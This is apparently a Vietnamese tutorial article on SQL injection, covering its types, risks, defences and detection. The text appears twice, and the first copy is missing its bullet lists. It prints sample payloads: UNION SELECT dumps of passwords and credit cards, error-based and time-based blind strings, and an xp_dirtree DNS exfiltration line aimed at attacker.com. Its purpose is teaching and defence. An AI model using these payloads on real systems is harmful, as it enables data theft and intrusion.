SQL Injection (SQLi) – Khi dữ liệu trở thành cửa hậu cho kẻ tấn công
SQL Injection (SQLi) là một trong những lỗ hổng ứng dụng web kinh điển nhưng đến nay vẫn cực kỳ nguy hiểm. Dù đã xuất hiện hàng chục năm, SQLi vẫn liên tục nằm trong OWASP Top 10, bởi tác động của nó có thể mang tính thảm họa: kẻ tấn công có thể đọc, chèn, sửa, xóa dữ liệu, thậm chí chiếm quyền điều khiển backend database.
SQL Injection là gì?
SQL Injection xảy ra khi ứng dụng tin tưởng dữ liệu đầu vào từ người dùng và chèn trực tiếp dữ liệu đó vào câu lệnh SQL mà không kiểm tra, lọc (sanitize) hoặc tham số hóa (parameterize).
Ví dụ ứng dụng tạo truy vấn:
SELECT * FROM Users WHERE UserName LIKE '%santos%';
Ở đây:
Nếu ứng dụng xử lý đầu vào không an toàn, attacker có thể chèn payload độc hại vào phần input này để thay đổi logic truy vấn.
Ví dụ SQL Injection cơ bản
Giả sử form tìm kiếm cho phép nhập tên người dùng.
Người dùng hợp lệ nhập:
Snow
Ứng dụng có thể tạo:
SELECT * FROM Users WHERE UserName='Snow';
Nhưng attacker nhập:
Snow' OR 1='1
Câu lệnh trở thành:
SELECT * FROM Users WHERE UserName='Snow' OR 1='1';
Điều kiện:
1='1'
luôn đúng (TRUE), nên truy vấn trả về toàn bộ bản ghi trong bảng.
Đây là ví dụ cổ điển từng được trình diễn trong WebGoat và nhiều lab bảo mật.
SQL Injection thường xuất hiện ở đâu?
Một trong những bước đầu khi tìm SQLi là xác định nơi ứng dụng tương tác với database:
Ví dụ đáng nghi:
?id=10
Thử:
?id=10'
Nếu lỗi SQL xuất hiện:
SQL syntax error near ...
đó thường là tín hiệu đầu tiên.
Ba loại SQL Injection phổ biến
1. In-Band SQL Injection
Đây là dạng phổ biến nhất.
Attacker:
Cùng một kênh để:
Ví dụ:
UNION SELECT username,password FROM users--
Kết quả có thể dump thẳng trên web page. Hai biến thể nổi tiếng
Error-Based SQLi
Khai thác thông báo lỗi DB để lấy thông tin.
Ví dụ:
' AND extractvalue(1,concat(0x7e,user()))--
Có thể rò tên DB user qua lỗi.
UNION-Based SQLi
Ghép thêm truy vấn khác:
UNION SELECT creditcard,cvv FROM customers--
Trả dữ liệu nhạy cảm trực tiếp.
2. Out-of-Band SQL Injection
Dữ liệu không quay lại qua ứng dụng, mà bị đẩy qua kênh khác.
Ví dụ attacker khiến database:
Ví dụ kiểu DNS exfiltration:
xp_dirtree '\\attacker.com\share'
Database vô tình rò dữ liệu qua DNS query.
Đây là kỹ thuật thường thấy trong red team hoặc APT tradecraft.
3. Blind (Inferential) SQL Injection
Nguy hiểm hơn vì không thấy dữ liệu trực tiếp.
Attacker suy diễn thông tin từ phản ứng ứng dụng. Boolean-Based Blind
Gửi:
' AND 1=1--
so với:
' AND 1=2--
Quan sát khác biệt:
Từ đó suy từng ký tự dữ liệu.
Time-Based Blind
Dựa vào delay.
Ví dụ:
' IF (SUBSTRING(user(),1,1)='a') WAITFOR DELAY '00:00:05'--
Nếu phản hồi chậm 5 giây → đoán đúng.
Đây là kỹ thuật rất phổ biến trong pentest.
Vì sao SQLi nguy hiểm?
Một SQLi thành công có thể dẫn đến:
Ví dụ SQL Server:
xp_cmdshell
có thể mở đường sang OS command execution.
Lúc đó không còn chỉ là web vulnerability nữa.
Attacker thường tận dụng gì?
1. Lỗi trả về từ ứng dụng
Ví dụ:
You have an error in your SQL syntax...
Thông báo này vô tình tiết lộ:
Giúp attacker tinh chỉnh payload.
2. Reverse-engineering logic truy vấn
Nếu ứng dụng ẩn lỗi, attacker dùng:
để dựng lại logic truy vấn gốc.
Phòng chống SQL Injection
1. Parameterized Queries (Quan trọng nhất)
Không nối chuỗi SQL.
Sai:
query = "SELECT * FROM users WHERE name='"+user+"'"
Đúng:
cursor.execute(
"SELECT * FROM users WHERE name=%s",
(user,))
Prepared Statements gần như triệt tiêu SQLi cổ điển.
2. Input Validation
Whitelist:
Đặc biệt với numeric input.
3. Stored Procedures (thiết kế đúng cách)
Có thể giảm rủi ro nếu không tự sinh dynamic SQL bên trong.
4. Least Privilege cho database account
App account không nên có quyền:
Nếu SQLi xảy ra, blast radius nhỏ hơn.
5. WAF / RASP
Có thể chặn payload phổ biến:
UNION SELECT
OR 1=1
SLEEP()
Dù đây không thay thế sửa code.
Một góc nhìn thú vị cho network/security engineers
SQL Injection nghe có vẻ là vấn đề AppSec, nhưng thực tế ảnh hưởng đến cả:
Ví dụ NetFlow hoặc IDS có thể phát hiện:
Đây là chỗ AppSec giao với Network Security.
Tóm tắt bài SQL Injection
SQL Injection là ví dụ kinh điển cho thấy:
Một chuỗi ký tự người dùng nhập vào có thể biến thành câu lệnh thực thi trên database.
Chỉ một input field không được sanitize có thể mở ra:
Đó là lý do SQLi vẫn là lỗ hổng “già nhưng chưa bao giờ cũ”.
SQL Injection (SQLi) là một trong những lỗ hổng ứng dụng web kinh điển nhưng đến nay vẫn cực kỳ nguy hiểm. Dù đã xuất hiện hàng chục năm, SQLi vẫn liên tục nằm trong OWASP Top 10, bởi tác động của nó có thể mang tính thảm họa: kẻ tấn công có thể đọc, chèn, sửa, xóa dữ liệu, thậm chí chiếm quyền điều khiển backend database.
SQL Injection là gì?
SQL Injection xảy ra khi ứng dụng tin tưởng dữ liệu đầu vào từ người dùng và chèn trực tiếp dữ liệu đó vào câu lệnh SQL mà không kiểm tra, lọc (sanitize) hoặc tham số hóa (parameterize).
Ví dụ ứng dụng tạo truy vấn:
SELECT * FROM Users WHERE UserName LIKE '%santos%';
Ở đây:
- Phần đầu của câu lệnh do ứng dụng tạo ra (người dùng không nhìn thấy).
- Phần santos có thể đến từ form đăng nhập, ô tìm kiếm hoặc URL parameter.
Nếu ứng dụng xử lý đầu vào không an toàn, attacker có thể chèn payload độc hại vào phần input này để thay đổi logic truy vấn.
Ví dụ SQL Injection cơ bản
Giả sử form tìm kiếm cho phép nhập tên người dùng.
Người dùng hợp lệ nhập:
Snow
Ứng dụng có thể tạo:
SELECT * FROM Users WHERE UserName='Snow';
Nhưng attacker nhập:
Snow' OR 1='1
Câu lệnh trở thành:
SELECT * FROM Users WHERE UserName='Snow' OR 1='1';
Điều kiện:
1='1'
luôn đúng (TRUE), nên truy vấn trả về toàn bộ bản ghi trong bảng.
Đây là ví dụ cổ điển từng được trình diễn trong WebGoat và nhiều lab bảo mật.
SQL Injection thường xuất hiện ở đâu?
Một trong những bước đầu khi tìm SQLi là xác định nơi ứng dụng tương tác với database:
- Form đăng nhập (authentication forms)
- Search boxes
- E-commerce sites (product lookup, shopping carts)
- URL parameters
Ví dụ đáng nghi:
?id=10
Thử:
?id=10'
Nếu lỗi SQL xuất hiện:
SQL syntax error near ...
đó thường là tín hiệu đầu tiên.
Ba loại SQL Injection phổ biến
1. In-Band SQL Injection
Đây là dạng phổ biến nhất.
Attacker:
- Gửi payload SQL qua input
- Nhận dữ liệu trả về qua chính kênh đó
Cùng một kênh để:
- Inject
- Exfiltrate
Ví dụ:
UNION SELECT username,password FROM users--
Kết quả có thể dump thẳng trên web page. Hai biến thể nổi tiếng
Error-Based SQLi
Khai thác thông báo lỗi DB để lấy thông tin.
Ví dụ:
' AND extractvalue(1,concat(0x7e,user()))--
Có thể rò tên DB user qua lỗi.
UNION-Based SQLi
Ghép thêm truy vấn khác:
UNION SELECT creditcard,cvv FROM customers--
Trả dữ liệu nhạy cảm trực tiếp.
2. Out-of-Band SQL Injection
Dữ liệu không quay lại qua ứng dụng, mà bị đẩy qua kênh khác.
Ví dụ attacker khiến database:
- Gửi email
- Thực hiện DNS lookup
- Gọi HTTP callback
- Exfiltrate sang hệ thống attacker
Ví dụ kiểu DNS exfiltration:
xp_dirtree '\\attacker.com\share'
Database vô tình rò dữ liệu qua DNS query.
Đây là kỹ thuật thường thấy trong red team hoặc APT tradecraft.
3. Blind (Inferential) SQL Injection
Nguy hiểm hơn vì không thấy dữ liệu trực tiếp.
Attacker suy diễn thông tin từ phản ứng ứng dụng. Boolean-Based Blind
Gửi:
' AND 1=1--
so với:
' AND 1=2--
Quan sát khác biệt:
- Trang phản hồi khác nhau
- Record có/không có
Từ đó suy từng ký tự dữ liệu.
Time-Based Blind
Dựa vào delay.
Ví dụ:
' IF (SUBSTRING(user(),1,1)='a') WAITFOR DELAY '00:00:05'--
Nếu phản hồi chậm 5 giây → đoán đúng.
Đây là kỹ thuật rất phổ biến trong pentest.
Vì sao SQLi nguy hiểm?
Một SQLi thành công có thể dẫn đến:
- Credential dumping
- Data breach
- Privilege escalation
- Authentication bypass
- Remote Code Execution (trong vài DB engine)
- Full database takeover
Ví dụ SQL Server:
xp_cmdshell
có thể mở đường sang OS command execution.
Lúc đó không còn chỉ là web vulnerability nữa.
Attacker thường tận dụng gì?
1. Lỗi trả về từ ứng dụng
Ví dụ:
You have an error in your SQL syntax...
Thông báo này vô tình tiết lộ:
- Database type (MySQL, MSSQL, Oracle)
- Query structure
- Table names
- Column count
Giúp attacker tinh chỉnh payload.
2. Reverse-engineering logic truy vấn
Nếu ứng dụng ẩn lỗi, attacker dùng:
- Boolean inference
- Timing attacks
- Response differences
để dựng lại logic truy vấn gốc.
Phòng chống SQL Injection
1. Parameterized Queries (Quan trọng nhất)
Không nối chuỗi SQL.
Sai:
query = "SELECT * FROM users WHERE name='"+user+"'"
Đúng:
cursor.execute(
"SELECT * FROM users WHERE name=%s",
(user,))
Prepared Statements gần như triệt tiêu SQLi cổ điển.
2. Input Validation
Whitelist:
- định dạng
- kiểu dữ liệu
- length
- regex
Đặc biệt với numeric input.
3. Stored Procedures (thiết kế đúng cách)
Có thể giảm rủi ro nếu không tự sinh dynamic SQL bên trong.
4. Least Privilege cho database account
App account không nên có quyền:
- DROP
- ALTER
- CREATE
- xp_cmdshell
Nếu SQLi xảy ra, blast radius nhỏ hơn.
5. WAF / RASP
Có thể chặn payload phổ biến:
UNION SELECT
OR 1=1
SLEEP()
Dù đây không thay thế sửa code.
Một góc nhìn thú vị cho network/security engineers
SQL Injection nghe có vẻ là vấn đề AppSec, nhưng thực tế ảnh hưởng đến cả:
- SOC detection
- WAF tuning
- Database monitoring
- East-West segmentation
- Zero Trust controls
- DLP / exfiltration detection
Ví dụ NetFlow hoặc IDS có thể phát hiện:
- Abnormal DB query volume
- DNS exfil behavior
- Unexpected outbound callbacks
Đây là chỗ AppSec giao với Network Security.
Tóm tắt bài SQL Injection
SQL Injection là ví dụ kinh điển cho thấy:
Một chuỗi ký tự người dùng nhập vào có thể biến thành câu lệnh thực thi trên database.
Chỉ một input field không được sanitize có thể mở ra:
- Data breach
- Lateral movement
- Full compromise
Đó là lý do SQLi vẫn là lỗ hổng “già nhưng chưa bao giờ cũ”.